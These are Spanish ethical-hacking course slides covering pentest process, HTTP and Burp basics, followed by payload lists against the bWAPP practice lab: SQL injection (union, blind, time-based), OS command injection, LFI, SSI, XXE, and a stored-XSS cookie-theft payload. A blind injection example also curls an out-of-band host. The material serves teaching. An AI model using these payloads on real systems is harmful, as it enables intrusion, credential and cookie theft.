Curso Ethical
Hacking
Web Application Testing
Proceso de test de
penetración
Alcance de prueba
El alcance del pentest define específicamente que se probará. Para ello, se realiza una reunión de alcance
(Scoping Meeting), que tiene como objetivo discutir lo que será probado con el cliente.
Normalmente, la reunión tiene lugar una vez firmado el contrato, pero hay situaciones en las que muchos
de los temas relacionados con el alcance pueden discutirse antes de la firma del contrato.
Para esas situaciones, se recomienda que se firme un acuerdo de confidencialidad previamente.
Reglas de prueba
Definen cómo se realizará la prueba y se deben tener en cuenta los siguientes
aspectos:
● Cronograma.
● Confidencialidad de información sensible.
● Horarios.
● Permisos.
● Informes.
Técnicas permitidas
Metodologías
Guia de pruebas OWASP
(https://owasp.org/www-project-web-security-testing-guide/stable/)
Metodologías
PTES (http://www.pentest-standard.org/index.php/Main_Page)
● Interacciones previas al compromiso.
● Recolección de información.
● Modelado de amenazas.
● Análisis de vulnerabilidades.
● Explotación.
● Post-explotación.
● Reporte.
Reportes - Resumen Ejecutivo
Esta sección del informe se comunican los objetivos específicos de la prueba de penetración
y los hallazgos de alto nivel en la ejecución de la prueba. La sección está dirigida hacia aquellos
que estén a cargo de la supervisión y la visión estratégica del programa de seguridad, así como
cualquier miembro de la organización que pueda verse afectado por las amenazas identificadas. El
resumen ejecutivo debe contener las siguientes secciones descritas a continuación.
● Propósito general
● Efectividad de la prueba
● Perfil de riesgo
● Hallazgos
● Recomendaciones
Reportes - Resumen Técnico
Esta sección comunicará al lector los detalles técnicos de la prueba y todos los elementos acordados como
indicadores clave de éxito dentro del ejercicio previo al compromiso. La sección describe en detalle el
alcance, la información recopilada, la ruta de ataque, el impacto y las sugerencias de corrección de la
prueba.
Esta sección debe ser una referencia para los recursos específicos involucrados en las pruebas y el alcance
técnico general de la prueba como los siguientes:
● Recopilación de información (Información pasiva, activa y corporativa).
● Evaluación de vulnerabilidades.
● Confirmación vulnerabilidades.
● Post-explotación.
● Riesgo.
● Conclusiones.
Introducción al hacking web
Hacking de Aplicaciones Web
Las aplicaciones web son ampliamente popular en el panorama actual de
internet.
Por ello, existe mucha investigación de seguridad al respecto y en ese sentido
hay una gran cantidad de técnicas de ataque enfocadas a aplicaciones web.
La relevancia y peligro en ese sentido es alta, dado que muchas aplicaciones web
gestionan pagos en línea, datos de tarjeta, datos personales y transacciones
críticas cuya vulneración representan impacto económicos directos o afectación
grave a la reputación.
Petición HTTP
HTTP funciona como un protocolo de solicitud-respuesta en el modelo
informático cliente-servidor.
Un navegador web , por ejemplo, puede ser el cliente y una aplicación que se
ejecuta en una computadora que aloja un sitio web puede ser el servidor . El
cliente envía un mensaje de solicitud HTTP al servidor. El servidor, que
proporciona recursos como archivos HTML y otro contenido, o realiza otras
funciones en nombre del cliente, devuelve un mensaje de respuesta al cliente. La
respuesta contiene información sobre el estado de finalización de la solicitud y
también puede contener contenido solicitado en su cuerpo de mensaje.
Método Ruta
Versión HTTP Headers
Respuesta
Métodos HTTP
GET: Parámetros en la URL.
POST: Envío de formularios, datos en el cuerpo del mensaje.
OPTIONS: Lista de métodos admitidos para la URL.
HEAD: Respuesta para GET pero sin cuerpo de mensaje.
TRACE: Solicitud del cliente para el diagnóstico.
PUT: Almacenar recursos.
DELETE: Borrar recursos.
Headers HTTP
Los headers HTTP permiten al cliente y al servidor
enviar información adicional junto a una petición o
respuesta. Una cabecera de petición está compuesta
por su nombre (no sensible a las mayúsculas) seguido
de dos puntos ':', y a continuación su valor.
Headers HTTP
User-Agent: el User-Agent revela la versión de su navegador, el sistema operativo y el idioma al servidor web remoto. Todos los
navegadores web tienen su propia string de identificación de User-Agent. Así es como la mayoría de los sitios web reconocen el
tipo de navegador en uso.
Host: el encabezado Host permite que un servidor web aloje varios sitios en un dirección IP única. El navegador especifica en el
encabezado de Host cuál sitio web quiere acceder.
Accept: el navegador utiliza el encabezado Aceptar para especificar qué tipo de documento se espera que se devuelva como
resultado de esta solicitud.
Accept-Encoding: es similar a Accept, pero restringe las codificaciones de contenido que son aceptables en la respuesta. Las
codificaciones de contenido se utilizan principalmente para permitir que un documento se comprima o transforme sin perder
la identidad de su tipo de medio y sin pérdida de información.
Connection: con HTTP 1.1 puede mantener abierta su conexión con el servidor web remoto durante un período de tiempo no
especificado utilizando el valor "keep-alive".
HTTPS vs HTTP
La diferencia básica entre ambos es la forma en la que
viajan los datos. Si los datos son transferidos mediante
HTTP, estos viajan en texto plano y son accesibles para
cualquiera que intercepte la comunicación. En
cambio, el protocolo HTTPS usa una conexión segura
mediante un cifrado SSL y por tanto los datos viajan de
un modo seguro de un lugar a otro.
Encoding - URL encoding
https://www.urlencoder.org/
Encoding - Base64
Proxies
Proxy
Burpsuite vs Zap Proxy
Configuración Burpsuite
Configuración Burp
Configuración Burp
Configuración Burp
Configuración Burp
Configuración Burp
Configuración Burp
OWASP Top 10
https://wiki.owasp.org/images/5/5e/OWASP-Top-10-2017-es.pdf
OWASP Top 10 2013 vs 2017
Sentencias SQL
Una sentencia SQL normalmente se ve de la siguiente manera:
SELECT nombre, apellido FROM usuarios WHERE id = 1;
El código anterior consulta la base de datos, solicitando el nombre y el
apellido de un registro en la tabla de usuarios. En este ejemplo, el
registro seleccionado tendrá un valor de id igual a 1.
id nombre apellido número
1 John Doe 1234
2 Mary Curie 1236
Sentencias SQL
SELECT
La instrucción SELECT se utiliza para seleccionar datos de una base de datos.
SELECT * from usuarios;
UNION
El operador UNION se utiliza para combinar el conjunto de resultados de dos o más sentencias SELECT.
SELECT numero FROM usuarios
UNION
SELECT nombre FROM usuarios;
Nota:
● Cada instrucción SELECT dentro de UNION debe tener el mismo número de columnas.
● Las columnas también deben tener tipos de datos similares.
● Las columnas de cada instrucción SELECT también deben estar en el mismo orden.
OS Injection
http://x.x.x.x/bWAPP/commandi.php
Payloads:
● 127.0.0.1;id -> low
● 127.0.0.1 & id -> low
● 127.0.0.1 | id -> medium
SQL Injection
http://x.x.x.x/bWAPP/sqli_1.php
Payloads:
● iron' or 1=1#
● iron' union select 1,2,3,4,5,6,7#
● iron' union select 1,user(),3,4,5,6,7#
SQL Injection
http://x.x.x.x/bWAPP/sqli_2.php
Payloads:
● 1 and 1=2--
● 1 order by 1--
● 1 order by 8--
● 1 and 1=0 union all select 1,2,3,4,5,6,7--
● 1 and 1=0 union all select 1,database(),3,4,5,6,7--
● 1 and 1=0 union all select 1,version(),3,4,5,6,7--
● 1 and 1 = 0 union all select 1,table_schema,table_name,4,5,6,7 from
information_schema.tables where 1=1--
● 1 and 1=0 union all select 1,column_name,3,4,5,6,7 from information_schema.columns
where table_name = 'blog' and table_schema = 'bwapp'--
Cross Site Request Forgery
http://x.x.x.x/bWAPP/csrf_2.php
Payloads:
XSS Almacenado
http://x.x.x.x/bWAPP/xss_stored_1.php
Payloads:
XSS Almacenado
http://x.x.x.x/bWAPP/xss_stored_1.php
Payloads:
En el kali: sudo python3 -m http.server 80
XSS Almacenado
http://x.x.x.x/bWAPP/xss_stored_1.php
Payload - Robo de cookie:
<img src=https://github.com/favicon.ico width=0 height=0
onload=this.src='http://127.0.0.1/?'+document.cookie>
Remote - Local File Inclusion
http://x.x.x.x/bWAPP/rlfi.php
Payload:
● /etc/passwd -> low
● /etc/passwd%00 -> medium
● https://google.com -> low
Server Side Includes
http://x.x.x.x/bWAPP/insecure_direct_object_ref_1.php
Payload:
● <!--#exec cmd="id" -->
● <!--#exec cmd="cat /etc/passwd" -->
XXE
http://x.x.x.x/bWAPP/xxe-1.php
Payload:
<!DOCTYPE root [<!ENTITY test SYSTEM
'file:///etc/passwd'>]>
<reset><login>bee</login><secret>&test;</secret></reset>
y visitar el secret!
XXE
http://x.x.x.x/bWAPP/xxe-1.php
Payload:
<!DOCTYPE root [<!ENTITY test SYSTEM
'file:///etc/passwd'>]>
<reset><login>bee</login><secret>&test;</secret></reset>
y visitar el secret!
XXE
http://x.x.x.x/bWAPP/xxe-1.php
Payload:
<!DOCTYPE root [<!ENTITY test SYSTEM 'file:///etc/passwd'>]>
<reset><login>bee</login><secret>&test;</secret></reset>
y visitar el secret!
http://x.x.x.x/bWAPP/secret.php
File upload
http://x.x.x.x/bWAPP/unrestricted_file_upload.php
Payload - low:
File upload
http://x.x.x.x/bWAPP/unrestricted_file_upload.php
Payload - Medium:
Blind Boolean SQL injection
http://x.x.x.x/bWAPP/sqli_4.php
Payloads:
● iron man' and sleep(5)#
● iron man' and substring(@@version,1,1)=4#
● iron man' and substring(@@version,1,1)=5#
● iron man' and substring(database(),1,1)='a'#
● iron man' and substring(database(),1,1)='b'#
Time Based SQL injection
http://x.x.x.x/bWAPP/sqli_4.php
Payloads:
● iron man' AND IF(substring(VERSION(),1,1) = '5', SLEEP(10), 0)#
● iron man' AND IF(substr(@@version,1,1)='5'),SLEEP(10),0)#
● iron man' AND (SELECT sleep(5) from dual where
substring(database(),1,1)='b')=1#
● iron man' AND (SELECT sleep(5) from dual where
substring(database(),1,2)='bw')=1#
● iron man' AND (SELECT sleep(5) from information_schema.columns where
column_name='login' AND table_name='users')=1 #
● iron man' AND (SELECT sleep(5) from information_schema.tables where
table_name LIKE ‘%login%’)=1 #
Time Based SQL injection
http://x.x.x.x/bWAPP/sqli_4.php
Payloads:
● iron man' AND IF(substring(VERSION(),1,1) = '5', SLEEP(10), 0)#
● iron man' AND IF(substr(@@version,1,1)='5'),SLEEP(10),0)#
● iron man' AND (SELECT sleep(5) from dual where
substring(database(),1,1)='b')=1#
● iron man' AND (SELECT sleep(5) from dual where
substring(database(),1,2)='bw')=1#
● iron man' AND (SELECT sleep(5) from information_schema.columns where
column_name='login' AND table_name='users')=1 #
● iron man' AND (SELECT sleep(5) from information_schema.tables where
table_name LIKE ‘%login%’)=1 #
Blind OS Injection
http://x.x.x.x/bWAPP/commandi_blind.php
Payloads:
Ingresar: http://pingb.in/
Payload - Cambiar por su instancia de pingb:
127.0.0.1; curl pingb.in/p/b6b11462fdb11a578676142b6f77
Blind OS Injection
http://x.x.x.x/bWAPP/commandi_blind.php
Payloads:
Ingresar: http://pingb.in/
Payload - Cambiar por su instancia de pingb:
127.0.0.1; curl pingb.in/p/b6b11462fdb11a578676142b6f77
Deserialización
Deserialización
Serialización
{ objeto } { bytes }
Deserialización
Deserialización
Deserializar los datos
Datos maliciosos
{ objeto malicioso}
Deserialización -Lab
Python Pickle
JWT (Json Web Tokens)
JSON Web Token (JWT) es un estándar abierto (RFC
7519) que define una forma compacta y autónoma de
transmitir información de forma segura entre las
partes como un objeto JSON. Esta información puede
ser verificada y confiable porque está firmada
digitalmente. Los JWTs pueden ser firmados usando
un secreto (con el algoritmo HMAC) o un par de claves
públicas/privadas usando RSA o ECDSA.
¿Cuándo se deben utilizar los tokens web JSON?
Autorización: Este es el escenario más común
para el uso de JWT. Una vez que el usuario ha
iniciado la sesión, cada solicitud posterior incluirá
el JWT, permitiendo al usuario acceder a las rutas,
servicios y recursos que están permitidos con ese
token.
Autorización != Autenticación
¿Cuál es la estructura del token web JSON?
Los tokens web JSON constan de tres partes separadas por puntos (.), que son:
● Header
● Payload
● Signature
Por lo tanto, un JWT suele tener el siguiente aspecto:
xxxxx.yyyyy.zzzzz
https://jwt.io/
¿Cuál es la estructura del token web JSON?
Los tokens web JSON constan de tres partes separadas por puntos (.),
que son:
● Header
● Payload
● Signature
Por lo tanto, un JWT suele tener el siguiente aspecto:
xxxxx.yyyyy.zzzzz
Server Side Template Injection
Interpolación de textos (Angular)
La interpolación de texto le permite incorporar
valores de String dinámicos en las plantillas HTML.
Con la interpolación, puede cambiar
dinámicamente lo que aparece en una vista de la
aplicación, como mostrar un saludo personalizado
que incluya el nombre del usuario.
Server Side Template Injection
Ejemplo:
https://www.w3schools.com/angular/tryit.asp?filen
ame=try_ng_databinding_braces
Server Side Template Injection
En lugar de crear una página completamente nueva por cada persona que
acceda al sitio, simplemente renderizará la dirección IP en la variable {{ip}},
mientras reutiliza el resto del HTML para cada solicitud de persona que el
servidor reciba a ese punto final.
Esto puede ser abusado, ya que algunos motores de plantillas soportan algunas
funcionalidades bastante complejas, que eventualmente permiten a los
atacantes ejecutar comandos o contenidos de archivos directamente desde la
plantilla.